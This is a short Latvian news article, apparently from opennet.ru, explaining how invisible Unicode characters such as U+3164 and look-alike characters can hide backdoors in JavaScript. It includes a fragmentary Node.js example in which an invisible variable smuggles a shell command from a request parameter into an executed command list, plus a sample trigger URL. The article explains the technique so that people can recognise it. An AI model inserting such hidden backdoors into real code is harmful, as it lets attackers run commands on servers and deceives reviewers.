Neredzamu unikoda rakstzīmju izmantošana, lai paslēptu darbības JavaScript kodā

Pēc Trojas avota uzbrukuma metodes, kuras pamatā ir unikoda rakstzīmju izmantošana, kas maina divvirzienu teksta attēlošanas secību, ir publicēts cits paņēmiens slēpto darbību ieviešanai, kas piemērojams JavaScript kodam. Jaunā metode ir balstīta uz unikoda rakstzīmes "ㅤ" (kods 0x3164, "HANGUL FILLER") izmantošanu, kas ir burts, bet kam nav redzama satura. Unikoda kategorija, kurai pieder šī rakstzīme, ir atļauta kopš ECMAScript 2015 specifikācijas izmantošanai JavaScript mainīgo nosaukumos, kas ļauj izveidot neredzamus mainīgos vai jaunus mainīgos, kas nav atšķirami no citiem mainīgajiem populāros koda redaktoros, piemēram, Notepad++ un VS Code.

Kā piemērs ir dots Node.js platformas kods, kurā, izmantojot mainīgo, kas sastāv no vienas rakstzīmes "ㅤ", tiek paslēptas aizmugures durvis, kas ļauj izpildīt uzbrucēja norādīto kodu: app.get( '/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // patiesībā saka "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // komats, kam seko \u3164 ];

No pirmā acu uzmetiena caur ārējo parametru tiek nodota tikai taimauta vērtība, un masīvs ar izpildāmajām komandām satur nekaitīgu fiksētu sarakstu. Bet patiesībā pēc taimauta mainīgā tiek piešķirta cita neredzama mainīgā vērtība ar simbola kodu \u3164, kas arī tiek aizstāts izpildāmo komandu masīvā. Tādējādi šādas struktūras klātbūtnē uzbrucējs var nosūtīt pieprasījumu, piemēram, "https://host:8080/network_health?%E3%85%A4=command", lai aktivizētu aizmugures durvis un izpildītu savu kodu.

Kā vēl viens piemērs ir dota rakstzīme "ǃ" (ALVEOLAR CLICK), ko var izmantot, lai radītu izsaukuma zīmes izskatu. Piemēram, izteiksme "if(environmentǃ=ENV_PROD){", izpildot to Node.js 14, vienmēr būs patiesa, jo tā nepārbauda atšķirības, bet iestata mainīgo "environmentǃ" uz ENV_PROD. Maldinošas unikoda rakstzīmes ir “/”, “−”, “+”, “⩵”, “❨”, “⫽”, “꓿” un “∗”.

Avots: opennet.ru

Pievieno komentāru